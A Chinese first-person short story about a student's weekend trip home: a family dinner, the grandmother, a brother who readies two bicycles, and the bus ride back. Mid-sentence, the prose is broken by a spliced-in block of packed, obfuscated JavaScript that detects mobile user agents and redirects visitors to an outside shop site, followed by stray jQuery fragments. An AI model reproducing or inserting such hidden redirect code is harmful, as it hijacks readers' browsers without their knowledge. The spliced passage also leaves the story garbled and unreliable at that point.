第一个周末到了的时候，我去车站坐上了回镇上的班车。
车还是那辆旧车，座位上的灰布套磨得泛白，车窗能推开一条缝，风从缝隙里灌进来吹在脸上。路边的景色往后退——先是县城的楼房，然后是公路两边开始变黄的田野，再然后是一些熟悉的村庄。我认出了其中一座砖窑，又认出了一座水泥桥，路边的白杨树在排着队往后退。那些树我每天上学的时候都看见，但在回来的车上看见它们的顺序是反的——从终点倒着走向起点，像在把一段刚刚走过的路重新拆解一遍。
到镇上的时候已近中午。我提着那只藤条箱子下了车，在镇口站了一下，然后顺着那条走了一整个童年的大路拐进了村道。泥土路面上残留着前几天雨水的湿痕，踩上去微微有些软。路两边的草已经枯黄了，贴着地面躺着，风一过就翻起一层灰白的枯面。
走到巷口的时候，我看见了老槐树。它的叶子落了大半，剩下的几片在风里翻动着，银灰色的背面一闪一闪的。我站在树底下停了一步——树皮的纹理还是我认识的样子，该凸的地方凸着，该裂的地方裂着，和第一次经过这里时看到的并没有多少区别。只是看它的人长高了一些，需要抬头才能看到最顶上的枝丫。
院门半掩着。我推门进去的时候门轴发出一声熟悉的"吱——"，音调和以前一样，不高不低。院子里，杏树的叶子全落了，光秃秃的枝丫伸向灰白色的天空。弟弟在劈柴，斧头举起来又落下去，听见门响偏头看了一眼，手里的动作停了一下，然后又落了下去。
"回来了？"他说。
"嗯。"
他又劈了两块柴，把散落的木片拢到墙角，然后站起来拍了拍手上的灰。他走到我跟前站住了，我看清了他——头发短了，身形比一个月前又高了一些，肩膀的轮廓在薄棉衣下面更明显了。他打量了我一眼，说："瘦了。"
"食堂的菜没家里的油水多。"
他笑了一下，很短的笑，像刚刚开了一道小缝又合上了。他转身进屋，经过门槛的时候说了一句："妈炖了鸡汤。"
灶间的火正烧着，锅里咕嘟咕嘟地响着，掀开锅盖的时候白汽腾起来，满是鸡肉和药材混在一起的气味。母亲从灶台前转过身来看见我，手里的汤勺举在半空，滴了两滴汤在灶台上。她没有走过来，只是站在那里看了我几秒，然后低下头继续用汤勺搅了搅锅里的汤。
"洗手吃饭。"她说。
饭菜端上桌的时候比以前多了一盘炒鸡蛋、一碗红烧肉、一碟醋溜白菜。弟弟把劈好的柴塞了几块进炉膛，火苗窜高了起来，屋里比外面暖了一截。父亲在桌边坐着，面前搁着一碗酒，杯子是白的，酒液是浅琥珀色的。他看见我进来，把酒碗往旁边挪了挪，腾出位置。
"坐。"他说。
我坐下来，端起母亲盛好的那碗鸡汤。汤面上浮着一层薄薄的油花，几粒枸杞和红枣沉在碗底，筷子一拨就浮上来又沉下去。我喝了一口——汤是烫的，从喉咙滑下去的时候在胸口停了一下，然后散开成一片暖意布满了整个上半身。那股暖意我在县城喝过的所有汤里都没有找到过。它像一种认路的温度，滑过舌头的时候自动辨认出了它来自哪口锅、哪堆火、哪一双手。
弟弟坐在我对面，低头吃他的饭，偶尔夹一筷子菜。他的筷子伸向红烧肉的时候和我刚好碰上了，他缩回去让我先夹，我说你夹吧，他又伸过去夹了一块放在自己碗里，整个过程没有说话。
吃完饭我去后院看了一下菜园。蒜苗已经抽出来了，一畦一畦地绿着，在暮色里颜色发暗。黄瓜藤早就拔了，剩下的架子上空空荡荡的，竹竿上残留着干枯的卷须，像一排被遗忘了很久的螺旋弹簧。我蹲下来看了看菜园边沿那棵自生自长的薄荷——叶子还绿着，边缘有细细的锯齿，我用手指捻了一片，薄荷的气味在指腹上散开，清凉的、带着涩意的。我把那片叶子放在口袋里，然后站起来回屋了。
祖母在屋里坐着，靠着床沿半合着眼，像是睡着了。我进去的时候她的眼皮动了一下，睁开来看见是我，嘴角慢慢弯了一下："回来了。"
"回来了，奶奶。"
"学校好不好？"
"挺好的。"
她伸手拍了拍床沿示意我坐下。我坐过去，她把我的手拉过去，两只手合拢着包住我的手背。她的手比上次我走的时候好像薄了一些，皮肤贴着骨头，只有掌心还有一点点软和。她没有说"瘦了"之类的话，只是握了一会儿我的手，然后松开，说："去忙吧。"我站起来走出门的时候回头看了一眼——她已经重新闭上了眼睛，像刚才那段时间没有发生过一样。
那天傍晚弟弟在院子里擦自行车。不是他那辆，是父亲那辆旧的，链条上了新油，车把上缠着新的布条。他在一辆擦完之后把那辆车推到墙角支好，又把自己那辆推出来接着擦。
"你擦两辆车干什么？"我蹲在旁边问。
"爸的车你也骑过。都擦干净放着，你下次回来骑哪辆都行。"
他这句话语气平平的，像在陈述一个不需要被感谢的普通事实。他在我离开的日子里学会了照顾两辆车。一辆是父亲的，一辆是他的。现在多了一个人的使用需求，他把那个需求提前准备好了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916964|213359||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
放在车棚里，等着下次需要用的人随时取用。
天慢慢黑下来。炉火烧起来了，弟弟蹲在炉子前面拨煤块。火光把半个堂屋照得亮堂堂的，墙上出现了人的影子——母亲在灶台边的身影、父亲在桌边坐着的侧影、弟弟蹲在炉前的轮廓，它们挨在一起，有时候交叠，有时候分开，像一幅正在缓缓移动的剪影画。
我坐在原来的位置，挨着母亲坐的那一侧，膝盖离炉子的距离和以前一样。火的热度贴在脸上，熟悉而温热，像从来没有离开过。我坐在那里发了一会儿呆，没有想什么特别的事情，只是那些熟悉的声音——柴火的噼啪声、汤锅的咕嘟声、母亲在灶间走动的脚步声——它们在同一个夜晚的时间里依次响着，像一部旧唱片正在被重新播放。
夜深了之后我回自己房间躺下。床单被套已经换过了，是母亲叠好放在柜子里等着的，上面还残留着晒过太阳之后的一股干燥的暖意。我翻了个身，窗外的月光照在杏树光秃的枝丫上，那些影子落在窗台上，和以前一样地移动着。我伸手碰了一下窗台的边缘——手指触到竹篾的触感，是那盏黄灯笼还在那里。它还在，褪色了，竹篾松动了，但还在那个位置坐着，像是一个时间的守门人，等着每个回来的人重新看见它。
第二天下午我坐车回县城。弟弟骑车送我到的车站，后座空着，他骑在前面我在后面走，走到镇口的时候他停下车，一只脚撑在地上，回头看了我一眼："下周还回来吗？"
"回。"
他没有说好，只是点了点头，然后调转车头骑回去了。我站在路口看着他的背影越来越远，骑过打铁铺子门口的时候没有停，径直骑了过去。那辆车的链条声在风里慢慢变弱，最后和远处田野的声音混在一起，分不清了。
我转身上了车，在靠窗的位置坐下来。车开动的时候窗外的景色开始往后退——镇口、打铁铺子、杨树、田野、砖窑、白杨，和来时看到的一样，只是顺序又倒过来了。我侧过头靠着窗玻璃，窗外的暮色正在从灰色往深蓝过渡，田野上的电线杆拖着一道道细长的影子，在正在变暗的光线里慢慢拉长、变淡。
我把手伸进口袋，碰到了那片薄荷叶。叶子已经有些蔫了，但还是凉的，边缘的锯齿印在指腹上，留下极浅的触感。
我握着那片叶子，闭上眼睛。车轮在路面上发出均匀的嗡嗡声，像一种持续的低频回应。它带着我离开，也带着我回来，在来和回之间形成了一条固定的、可以被反复信任的路径。而那个院子，那棵杏树，那些正在被火光照亮的人，他们在路的那头，在我闭上眼睛之后还能清晰浮现的地方。